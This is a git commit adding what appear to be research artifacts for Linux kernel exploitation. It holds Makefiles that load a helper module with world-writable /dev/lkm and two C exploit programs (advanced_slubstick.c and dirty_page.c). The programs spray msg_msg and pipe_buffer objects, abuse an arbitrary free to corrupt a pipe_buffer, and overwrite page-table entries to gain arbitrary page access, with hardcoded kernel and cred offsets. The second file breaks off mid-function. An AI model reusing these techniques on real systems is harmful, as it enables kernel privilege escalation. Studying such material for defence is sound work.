added artifacts
This commit is contained in:
parent
cb794602ee
commit
cf2057109f
35 changed files with 6394 additions and 0 deletions
23
artifacts/Makefile
Normal file
23
artifacts/Makefile
Normal file
|
@ -0,0 +1,23 @@
|
|||
obj-m = lkm.o
|
||||
KVERSION = $(shell uname -r)
|
||||
all: build modules remove insert
|
||||
init: build modules insert
|
||||
remove:
|
||||
sudo rmmod lkm
|
||||
insert:
|
||||
sudo insmod lkm.ko && sudo chmod 666 /dev/lkm
|
||||
modules:
|
||||
make -C /lib/modules/$(KVERSION)/build M=$(PWD) modules
|
||||
clean:
|
||||
make -C /lib/modules/$(KVERSION)/build M=$(PWD) clean
|
||||
make -C generic clean
|
||||
make -C heap clean
|
||||
make -C stack clean
|
||||
make -C page-table clean
|
||||
make -C attacks clean
|
||||
build:
|
||||
make -C generic
|
||||
make -C heap
|
||||
make -C stack
|
||||
make -C page-table
|
||||
make -C attacks
|
24
artifacts/attacks/Makefile
Normal file
24
artifacts/attacks/Makefile
Normal file
|
@ -0,0 +1,24 @@
|
|||
CC := gcc
|
||||
|
||||
SOURCES := $(wildcard *.c)
|
||||
|
||||
TARGETS := $(SOURCES:.c=.elf)
|
||||
|
||||
CFLAGS += -g
|
||||
CFLAGS += -O2
|
||||
CFLAGS += -static
|
||||
CFLAGS += -Wall
|
||||
CFLAGS += -Wextra
|
||||
CFLAGS += -Wno-int-to-pointer-cast
|
||||
CFLAGS += -Wno-pointer-to-int-cast
|
||||
CFLAGS += -D_FILE_OFFSET_BITS=64
|
||||
CFLAGS += -I../include
|
||||
CFLAGS += -pthread
|
||||
|
||||
all: $(TARGETS)
|
||||
|
||||
%.elf: %.c
|
||||
$(CC) -D_FILE_OFFSET_BITS=64 $< $(CFLAGS) -o $@
|
||||
|
||||
clean:
|
||||
rm -f *.elf
|
403
artifacts/attacks/advanced_slubstick.c
Normal file
403
artifacts/attacks/advanced_slubstick.c
Normal file
|
@ -0,0 +1,403 @@
|
|||
#include "utils.h"
|
||||
#include "ulkm.h"
|
||||
#include "msg_msg.h"
|
||||
#include "pipe_buffer.h"
|
||||
#include "pgtable.h"
|
||||
#include "tlb_flush.h"
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <pthread.h>
|
||||
#include <assert.h>
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
// #define ANON_PIPE_BUF_OPS_OFFSET 0x1648cc0 // v6.8
|
||||
#define ANON_PIPE_BUF_OPS_OFFSET 0x1448280 // v6.6
|
||||
|
||||
// #define DEBUG
|
||||
#define RESTORE
|
||||
|
||||
#define TASK_STRUCT_SLAB_ORDER 3
|
||||
#define TASK_STRUCT_SIZE 10496
|
||||
// #define TASK_STRUCT_COMM_OFFSET 3008
|
||||
#define TASK_STRUCT_COMM_OFFSET 3016
|
||||
// #define TASK_STRUCT_PID_OFFSET 2464
|
||||
#define TASK_STRUCT_PID_OFFSET 2456
|
||||
// #define TASK_STRUCT_TGID_OFFSET 2468
|
||||
#define TASK_STRUCT_TGID_OFFSET 2460
|
||||
// #define TASK_STRUCT_REAL_CRED_OFFSET 2984
|
||||
#define TASK_STRUCT_REAL_CRED_OFFSET 2992
|
||||
// #define TASK_STRUCT_CRED_OFFSET 2992
|
||||
#define TASK_STRUCT_CRED_OFFSET 3000
|
||||
|
||||
#define CRED_UID_GID_OFFSET 8
|
||||
#define CRED_SUID_SGID_OFFSET 16
|
||||
#define CRED_EUID_EGID_OFFSET 24
|
||||
#define CRED_FSUID_FSGID_OFFSET 32
|
||||
#define CRED_CAP_INHERITABLE_OFFSET 48
|
||||
#define CRED_CAP_PERMITTED_OFFSET 56
|
||||
#define CRED_CAP_EFFECTIVE_OFFSET 64
|
||||
#define CRED_CAP_BSET_OFFSET 72
|
||||
#define CRED_CAP_AMBIENT_OFFSET 80
|
||||
|
||||
#define PAGE_SIZE (1<<12)
|
||||
|
||||
#define OBJ_PER_SLAB 42
|
||||
|
||||
#define MSG_SPRAYS (OBJ_PER_SLAB*40)
|
||||
#define MSG_FREE (MSG_SPRAYS-2*OBJ_PER_SLAB)
|
||||
#define MSG_TYPE 0x41
|
||||
#define MSG_HEADER 48
|
||||
#define MSG_NEXT_HEADER 8
|
||||
#define __MSG_SIZE 96
|
||||
#define MSG_SIZE (__MSG_SIZE-MSG_HEADER)
|
||||
|
||||
#define MSG_SPRAYS2 (OBJ_PER_SLAB*4)
|
||||
#define MSG_TYPE2 0x42
|
||||
#define __MSG_SIZE2 (4096+__MSG_SIZE)
|
||||
#define MSG_SIZE2 (__MSG_SIZE2-MSG_HEADER-MSG_NEXT_HEADER)
|
||||
|
||||
#define PIPE_SPRAY (OBJ_PER_SLAB*4)
|
||||
#define PIPE_SIZE 40
|
||||
#define PIPE_CNT 1
|
||||
|
||||
int qids[MSG_SPRAYS];
|
||||
int qids2[MSG_SPRAYS2];
|
||||
size_t overlayed_id = -1;
|
||||
|
||||
size_t virt_base;
|
||||
size_t vmemmap_base;
|
||||
size_t dpm_base;
|
||||
size_t code_base;
|
||||
|
||||
size_t msg_msg;
|
||||
|
||||
char buffer[0x2000];
|
||||
char page_content[sizeof(buffer)];
|
||||
char page_content_org[sizeof(buffer)];
|
||||
|
||||
int pipes[PIPE_SPRAY][2];
|
||||
|
||||
void cleanup(void)
|
||||
{
|
||||
printf("[*] cleanup\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
cleanup_queue(qids[i]);
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
|
||||
if (i != overlayed_id)
|
||||
cleanup_queue_no_err(qids2[i]);
|
||||
}
|
||||
|
||||
size_t pipe_buffer;
|
||||
void stage1(void)
|
||||
{
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE;
|
||||
|
||||
printf("[*] alloc msg_queue\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
printf("[*] alloc msg_msg\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
send_msg(qids[i], message, MSG_SIZE, 0);
|
||||
|
||||
lkm_msg_msg_leak((size_t)&msg_msg, qids[MSG_FREE], MSG_TYPE);
|
||||
printf("[+] leaked msg_msg %016zx\n", msg_msg);
|
||||
|
||||
printf("[*] free msg_msg\n");
|
||||
memset(buffer, 0x41, sizeof(buffer));
|
||||
// free all all but 1 of the current slab
|
||||
// creates all free slots on the slot except one
|
||||
// except one because to prevent returning the partial slab to the page allocator (unlikely but may be)
|
||||
for (ssize_t i = -OBJ_PER_SLAB*2; i < OBJ_PER_SLAB; ++i)
|
||||
get_msg(qids[MSG_FREE+i], message, MSG_SIZE, 0, IPC_NOWAIT);
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
alloc_pipes(pipes[i], O_NONBLOCK);
|
||||
resize_pipe(pipes[i][0], 2);
|
||||
write_pipe(pipes[i][1], buffer, 8);
|
||||
}
|
||||
printf("[*] reclaimed as pipe_buffer\n");
|
||||
pipe_buffer = (msg_msg & ~0xfff) + __MSG_SIZE;
|
||||
printf("[+] pipe_buffer %016zx\n", pipe_buffer);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
size_t vmemmap_pud;
|
||||
#ifdef RESTORE
|
||||
char pipe_buffer_old_content[PIPE_SIZE];
|
||||
void save_pipe_buffer_state(void)
|
||||
{
|
||||
for (size_t i = 0; i < PIPE_SIZE; i += 8)
|
||||
lkm_read(pipe_buffer+i, (size_t)&pipe_buffer_old_content[i]);
|
||||
printf("[*] temporarily store pipe_buffer content\n");
|
||||
}
|
||||
void restore_pipe_buffer_state(void)
|
||||
{
|
||||
for (size_t i = 0; i < PIPE_SIZE; i += 8)
|
||||
lkm_write(pipe_buffer+i, *(size_t *)(pipe_buffer_old_content + i));
|
||||
printf("[*] store old pipe_buffer content\n");
|
||||
}
|
||||
#else
|
||||
void save_pipe_buffer_state(void) {}
|
||||
void restore_pipe_buffer_state(void) {}
|
||||
#endif
|
||||
|
||||
size_t address;
|
||||
size_t pud;
|
||||
void stage2(void)
|
||||
{
|
||||
printf("[*] leak pud\n");
|
||||
address = (void *)mmap((void *)((1ULL<<39)|255*(1ULL<<30)), PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
|
||||
if ((void *)address == MAP_FAILED) {
|
||||
perror("mmap()");
|
||||
exit(-1);
|
||||
}
|
||||
*(volatile size_t *)address;
|
||||
size_t pgde;
|
||||
size_t pude;
|
||||
size_t pmde;
|
||||
size_t pte;
|
||||
lkm_arb_pagetable_wald(address, &pgde, &pude, &pmde, &pte);
|
||||
pud = dpm_base + (pgde & ~(0xfff));
|
||||
printf("[*] %016zx: %016zx -> %016zx -> %016zx -> %016zx\n", address, pgde, pude, pmde, pte);
|
||||
printf("[*] pud %016zx\n", pud);
|
||||
}
|
||||
|
||||
struct pipe_buffer {
|
||||
size_t page;
|
||||
unsigned int len;
|
||||
unsigned int offset;
|
||||
size_t ops;
|
||||
unsigned int flags;
|
||||
size_t private;
|
||||
};
|
||||
|
||||
#define PHYS_TO_VMEMMAP(x) ((((x) >> 12) << 6) + vmemmap_base)
|
||||
#define DPM_TO_VMEMMAP(x) PHYS_TO_VMEMMAP((x) - dpm_base)
|
||||
void stage3(void)
|
||||
{
|
||||
vmemmap_pud = DPM_TO_VMEMMAP(pud);
|
||||
save_pipe_buffer_state();
|
||||
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE2;
|
||||
printf("[*] alloc queues for reclaiming invalid free\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
|
||||
qids2[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
printf("[*] invalid free at %016zx\n", pipe_buffer-8);
|
||||
lkm_arb_free(pipe_buffer-8);
|
||||
|
||||
printf("[*] overwrite pipe_buffer->page with %016zx\n", vmemmap_pud);
|
||||
struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER);
|
||||
memset(corr_pipe_buffer, 0, sizeof(struct pipe_buffer));
|
||||
corr_pipe_buffer->page = vmemmap_pud;
|
||||
corr_pipe_buffer->offset = 8;
|
||||
corr_pipe_buffer->len = 15;
|
||||
corr_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
corr_pipe_buffer->flags = 0x10;
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
|
||||
send_msg(qids2[i], message, MSG_SIZE2, 0);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
void pud_print(void)
|
||||
{
|
||||
printf("[*] print pud\n");
|
||||
for (size_t i = 0; i < 16*8; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pud+i, (size_t)&tmp);
|
||||
printf("%016zx: %016zx\n", pud+i, tmp);
|
||||
}
|
||||
}
|
||||
|
||||
#define IS_VMEMMAP(x) (((x) & ~((1<<30)-1)) == vmemmap_base)
|
||||
size_t page_fd = -1;
|
||||
size_t pivot_addr;
|
||||
void stage4(void)
|
||||
{
|
||||
size_t count = 0;
|
||||
printf("[*] find overwritten pipe_buffer\n");
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
read_pipe(pipes[i][0], buffer, 7);
|
||||
if (buffer[0] != 0x41) {
|
||||
buffer[7] = -1;
|
||||
count++;
|
||||
page_fd = i;
|
||||
printf("[+] found pipe_buffer fd %4zd\n", page_fd);
|
||||
if (IS_VMEMMAP(*(size_t *)(buffer))) {
|
||||
printf("[+] found page %016zx\n", *(size_t *)(buffer));
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (page_fd == (size_t)-1 || count != 1) {
|
||||
printf("[!] count %zd\n", count);
|
||||
printf("[!] page_fd %016zx\n", page_fd);
|
||||
restore_pipe_buffer_state();
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
printf("[*] find msg_msg that overlays the corrupted pipe_buffer\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i) {
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
get_msg(qids2[i], buffer, MSG_SIZE2, 0, MSG_COPY|IPC_NOWAIT);
|
||||
struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER);
|
||||
if (corr_pipe_buffer->offset != 8 || corr_pipe_buffer->len != 15) {
|
||||
printf("[+] found overlayed msg_msg %zd\n", i);
|
||||
overlayed_id = i;
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
|
||||
printf("[*] write to pud\n");
|
||||
char _cor_pude[16*8+1];
|
||||
memset(_cor_pude, 0, sizeof(_cor_pude));
|
||||
for (size_t i = 0; i < 16; ++i) {
|
||||
*(size_t *)(_cor_pude + 1 + 8*i) = PAGE_TABLE_LARGE + i*(1ULL << 30) + (4ULL << 30);
|
||||
}
|
||||
write_pipe(pipes[page_fd][1], (void *)_cor_pude, 16*8);
|
||||
|
||||
pivot_addr = ((1ULL<<39)|3*(1ULL<<30));
|
||||
size_t pgde;
|
||||
size_t pude;
|
||||
size_t pmde;
|
||||
size_t pte;
|
||||
lkm_arb_pagetable_wald(pivot_addr, &pgde, &pude, &pmde, &pte);
|
||||
printf("[*] %016zx: %016zx -> %016zx -> %016zx -> %016zx\n", pivot_addr, pgde, pude, pmde, pte);
|
||||
|
||||
#ifdef DEBUG
|
||||
pud_print();
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
size_t old_pt;
|
||||
size_t *arb_pt = (size_t *)-1;
|
||||
char *arb_page = (char *)-1;
|
||||
void stage5(void)
|
||||
{
|
||||
for (size_t try = 0; try < 0x10; ++try) {
|
||||
char buf[PAGE_SIZE];
|
||||
char *ptr = mmap((void *)((1ULL << 46)|(1ULL<<39)*try), (1<<30), PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
|
||||
if (ptr == MAP_FAILED) {
|
||||
perror("mmap");
|
||||
cleanup();
|
||||
restore_pipe_buffer_state();
|
||||
exit(-1);
|
||||
}
|
||||
size_t mapping_space = (16ULL<<30);
|
||||
|
||||
printf("[*] init pt already mapped\n");
|
||||
char *pt_already_mapped = malloc(mapping_space/PAGE_SIZE);
|
||||
memset(pt_already_mapped, 0, mapping_space/PAGE_SIZE);
|
||||
for (size_t i = 0; i < mapping_space/PAGE_SIZE; ++i)
|
||||
if ((*(size_t *)(pivot_addr + PAGE_SIZE * i) & PTE) == PTE)
|
||||
pt_already_mapped[i] = 1;
|
||||
|
||||
printf("[*] map a lot of page tables\n");
|
||||
for (size_t i = 0; i < (1<<30); i += (1<<21))
|
||||
memset(ptr + i, 0x46, PAGE_SIZE);
|
||||
|
||||
printf("[*] show where new page tables are\n");
|
||||
for (size_t i = 0; i < mapping_space/PAGE_SIZE; ++i) {
|
||||
if ((*(size_t *)(pivot_addr + PAGE_SIZE * i) & PTE) == PTE && pt_already_mapped[i] == 0) {
|
||||
printf("[+] found pt at %ld with %016zx\n", i, *(size_t *)(pivot_addr + PAGE_SIZE * i));
|
||||
arb_pt = (size_t *)(pivot_addr + PAGE_SIZE * i);
|
||||
old_pt = *arb_pt;
|
||||
*arb_pt = PTE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
memset(buf, 0x46, PAGE_SIZE);
|
||||
for (size_t i = 0; i < (1<<30); i += (1<<21)) {
|
||||
if (memcmp(ptr + i, buf, PAGE_SIZE)) {
|
||||
arb_page = ptr + i;
|
||||
printf("[+] found page %016zx\n", (size_t)arb_page);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (arb_page != (char *)-1)
|
||||
break;
|
||||
printf("[?] arbitrary page not found -> retry\n");
|
||||
}
|
||||
if (arb_page == (char *)-1) {
|
||||
printf("[!] arbitrary page not found\n");
|
||||
cleanup();
|
||||
restore_pipe_buffer_state();
|
||||
exit(-1);
|
||||
}
|
||||
printf("[+] success\n");
|
||||
}
|
||||
|
||||
int main(void)
|
||||
{
|
||||
int ret = 0;
|
||||
pin_to_core(0);
|
||||
set_limit();
|
||||
printf("[*] start\n");
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
|
||||
init_tlb_flush();
|
||||
get_total_memory();
|
||||
|
||||
lkm_init();
|
||||
|
||||
lkm_virt_base_leak((size_t)&virt_base);
|
||||
lkm_vmemmap_leak((size_t)&vmemmap_base);
|
||||
lkm_dpm_leak((size_t)&dpm_base);
|
||||
lkm_code_leak((size_t)&code_base);
|
||||
printf("[*] virt_base %016zx\n", virt_base);
|
||||
printf("[*] vmemmap_base %016zx\n", vmemmap_base);
|
||||
printf("[*] dpm_base %016zx\n", dpm_base);
|
||||
printf("[*] code_base %016zx\n", code_base);
|
||||
|
||||
stage1();
|
||||
stage2();
|
||||
stage3();
|
||||
stage4();
|
||||
stage5();
|
||||
|
||||
cleanup();
|
||||
restore_pipe_buffer_state();
|
||||
printf("[*] done\n");
|
||||
return ret;
|
||||
}
|
433
artifacts/attacks/dirty_page.c
Normal file
433
artifacts/attacks/dirty_page.c
Normal file
|
@ -0,0 +1,433 @@
|
|||
#include "utils.h"
|
||||
#include "ulkm.h"
|
||||
#include "msg_msg.h"
|
||||
#include "pipe_buffer.h"
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/mman.h>
|
||||
#include <pthread.h>
|
||||
#include <assert.h>
|
||||
#define _GNU_SOURCE
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#define ANON_PIPE_BUF_OPS_OFFSET 0x1648cc0
|
||||
|
||||
// #define DEBUG
|
||||
#define RESTORE
|
||||
|
||||
#define TASK_STRUCT_SLAB_ORDER 3
|
||||
#define TASK_STRUCT_SIZE 10496
|
||||
#define TASK_STRUCT_COMM_OFFSET 3008
|
||||
#define TASK_STRUCT_PID_OFFSET 2464
|
||||
#define TASK_STRUCT_TGID_OFFSET 2468
|
||||
#define TASK_STRUCT_REAL_CRED_OFFSET 2984
|
||||
#define TASK_STRUCT_CRED_OFFSET 2992
|
||||
|
||||
#define CRED_UID_GID_OFFSET 8
|
||||
#define CRED_SUID_SGID_OFFSET 16
|
||||
#define CRED_EUID_EGID_OFFSET 24
|
||||
#define CRED_FSUID_FSGID_OFFSET 32
|
||||
#define CRED_CAP_INHERITABLE_OFFSET 48
|
||||
#define CRED_CAP_PERMITTED_OFFSET 56
|
||||
#define CRED_CAP_EFFECTIVE_OFFSET 64
|
||||
#define CRED_CAP_BSET_OFFSET 72
|
||||
#define CRED_CAP_AMBIENT_OFFSET 80
|
||||
|
||||
#define PAGE_SIZE (1<<12)
|
||||
|
||||
#define OBJ_PER_SLAB 42
|
||||
|
||||
#define MSG_SPRAYS (OBJ_PER_SLAB*40)
|
||||
#define MSG_FREE (MSG_SPRAYS-2*OBJ_PER_SLAB)
|
||||
#define MSG_TYPE 0x41
|
||||
#define MSG_HEADER 48
|
||||
#define MSG_NEXT_HEADER 8
|
||||
#define __MSG_SIZE 96
|
||||
#define MSG_SIZE (__MSG_SIZE-MSG_HEADER)
|
||||
|
||||
#define MSG_SPRAYS2 (OBJ_PER_SLAB*4)
|
||||
#define MSG_TYPE2 0x42
|
||||
#define __MSG_SIZE2 (4096+__MSG_SIZE)
|
||||
#define MSG_SIZE2 (__MSG_SIZE2-MSG_HEADER-MSG_NEXT_HEADER)
|
||||
|
||||
#define PIPE_SPRAY (OBJ_PER_SLAB*4)
|
||||
#define PIPE_SIZE 40
|
||||
#define PIPE_CNT 1
|
||||
|
||||
int qids[MSG_SPRAYS];
|
||||
int qids2[MSG_SPRAYS2];
|
||||
size_t overlayed_id = -1;
|
||||
|
||||
size_t vmemmap_base;
|
||||
size_t dpm_base;
|
||||
size_t code_base;
|
||||
|
||||
size_t msg_msg;
|
||||
|
||||
char buffer[0x2000];
|
||||
char page_content[sizeof(buffer)];
|
||||
char page_content_org[sizeof(buffer)];
|
||||
|
||||
int pipes[PIPE_SPRAY][2];
|
||||
|
||||
void cleanup(void)
|
||||
{
|
||||
printf("[*] cleanup\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
cleanup_queue(qids[i]);
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
|
||||
if (i != overlayed_id)
|
||||
cleanup_queue_no_err(qids2[i]);
|
||||
}
|
||||
|
||||
size_t pipe_buffer;
|
||||
void stage1(void)
|
||||
{
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE;
|
||||
|
||||
printf("[*] alloc msg_queue\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
printf("[*] alloc msg_msg\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS; ++i)
|
||||
send_msg(qids[i], message, MSG_SIZE, 0);
|
||||
|
||||
lkm_msg_msg_leak((size_t)&msg_msg, qids[MSG_FREE], MSG_TYPE);
|
||||
printf("[+] leaked msg_msg %016zx\n", msg_msg);
|
||||
|
||||
printf("[*] free msg_msg\n");
|
||||
memset(buffer, 0x41, sizeof(buffer));
|
||||
// free all all but 1 of the current slab
|
||||
// creates all free slots on the slot except one
|
||||
// except one because to prevent returning the partial slab to the page allocator (unlikely but may be)
|
||||
for (ssize_t i = -OBJ_PER_SLAB*2; i < OBJ_PER_SLAB; ++i)
|
||||
get_msg(qids[MSG_FREE+i], message, MSG_SIZE, 0, IPC_NOWAIT);
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
alloc_pipes(pipes[i], O_NONBLOCK);
|
||||
resize_pipe(pipes[i][0], 2);
|
||||
write_pipe(pipes[i][1], buffer, 8);
|
||||
}
|
||||
printf("[*] reclaimed as pipe_buffer\n");
|
||||
pipe_buffer = (msg_msg & ~0xfff) + __MSG_SIZE;
|
||||
printf("[+] pipe_buffer %016zx\n", pipe_buffer);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
size_t adjacent_pipe_buffer;
|
||||
size_t vmemmap_pipe_buffer;
|
||||
#ifdef RESTORE
|
||||
char pipe_buffer_old_content[PIPE_SIZE];
|
||||
void save_pipe_buffer_state(void)
|
||||
{
|
||||
for (size_t i = 0; i < PIPE_SIZE; i += 8)
|
||||
lkm_read(pipe_buffer+i, (size_t)&pipe_buffer_old_content[i]);
|
||||
printf("[*] temporarily store pipe_buffer content\n");
|
||||
}
|
||||
void restore_pipe_buffer_state(void)
|
||||
{
|
||||
for (size_t i = 0; i < PIPE_SIZE; i += 8)
|
||||
lkm_write(pipe_buffer+i, *(size_t *)(pipe_buffer_old_content + i));
|
||||
printf("[*] store old pipe_buffer content\n");
|
||||
}
|
||||
#else
|
||||
void save_pipe_buffer_state(void) {}
|
||||
void restore_pipe_buffer_state(void) {}
|
||||
#endif
|
||||
|
||||
struct pipe_buffer {
|
||||
size_t page;
|
||||
unsigned int len;
|
||||
unsigned int offset;
|
||||
size_t ops;
|
||||
unsigned int flags;
|
||||
size_t private;
|
||||
};
|
||||
|
||||
#define PHYS_TO_VMEMMAP(x) ((((x) >> 12) << 6) + vmemmap_base)
|
||||
#define DPM_TO_VMEMMAP(x) PHYS_TO_VMEMMAP((x) - dpm_base)
|
||||
void stage2(void)
|
||||
{
|
||||
vmemmap_pipe_buffer = DPM_TO_VMEMMAP(pipe_buffer);
|
||||
save_pipe_buffer_state();
|
||||
|
||||
memset(buffer, 0x42, sizeof(buffer));
|
||||
|
||||
msg *message = (msg *)buffer;
|
||||
message->mtype = MSG_TYPE2;
|
||||
printf("[*] alloc queues for reclaiming invalid free\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
|
||||
qids2[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
|
||||
|
||||
printf("[*] invalid free at %016zx\n", pipe_buffer-8);
|
||||
lkm_arb_free(pipe_buffer-8);
|
||||
|
||||
printf("[*] overwrite pipe_buffer->page with %016zx\n", vmemmap_pipe_buffer);
|
||||
struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER);
|
||||
memset(corr_pipe_buffer, 0, sizeof(struct pipe_buffer));
|
||||
corr_pipe_buffer->page = vmemmap_pipe_buffer;
|
||||
corr_pipe_buffer->offset = 8;
|
||||
corr_pipe_buffer->len = __MSG_SIZE;
|
||||
corr_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET;
|
||||
corr_pipe_buffer->flags = 0x10;
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i)
|
||||
send_msg(qids2[i], message, MSG_SIZE2, 0);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer:\n");
|
||||
for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
#define IS_VMEMMAP(x) (((x) & ~((1<<30)-1)) == vmemmap_base)
|
||||
size_t page_fd = -1;
|
||||
void stage3(void)
|
||||
{
|
||||
size_t count = 0;
|
||||
printf("[*] find overwritten pipe_buffer\n");
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
read_pipe(pipes[i][0], buffer, 7);
|
||||
if (buffer[0] != 0x41) {
|
||||
buffer[7] = -1;
|
||||
count++;
|
||||
page_fd = i;
|
||||
printf("[+] found pipe_buffer fd %4zd\n", page_fd);
|
||||
if (IS_VMEMMAP(*(size_t *)(buffer))) {
|
||||
printf("[+] found page %016zx\n", *(size_t *)(buffer));
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (page_fd == (size_t)-1 || count != 1) {
|
||||
printf("[!] count %zd\n", count);
|
||||
printf("[!] page_fd %016zx\n", page_fd);
|
||||
restore_pipe_buffer_state();
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
printf("[*] find msg_msg that overlays the corrupted pipe_buffer\n");
|
||||
for (size_t i = 0; i < MSG_SPRAYS2; ++i) {
|
||||
get_msg(qids2[i], buffer, MSG_SIZE2, 0, MSG_COPY|IPC_NOWAIT);
|
||||
struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER);
|
||||
if (corr_pipe_buffer->offset != 8 || corr_pipe_buffer->len != __MSG_SIZE) {
|
||||
printf("[+] found overlayed msg_msg %zd\n", i);
|
||||
overlayed_id = i;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// write from the &len to &private of the next
|
||||
#define PIPE_OFFSET (__MSG_SIZE+PIPE_SIZE-8)
|
||||
size_t arbrw_fd = -1;
|
||||
void stage4(void)
|
||||
{
|
||||
memset(buffer, 0x41, sizeof(buffer));
|
||||
for (size_t i = 0; i < PIPE_SPRAY; ++i) {
|
||||
if (i == page_fd)
|
||||
continue;
|
||||
write_pipe(pipes[i][1], buffer, 8);
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("[*] pipe_buffer %016zx %016zx:\n", pipe_buffer, DPM_TO_VMEMMAP(pipe_buffer));
|
||||
for (size_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) {
|
||||
size_t tmp;
|
||||
lkm_read(pipe_buffer+i, (size_t)&tmp);
|
||||
printf("%016zx\n", tmp);
|
||||
}
|
||||
#endif
|
||||
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
struct pipe_buffer *cor_pipe_buffer = (struct pipe_buffer *)buffer;
|
||||
struct pipe_buffer *next_cor_pipe_buffer = (struct pipe_buffer *)(buffer+__MSG_SIZE);
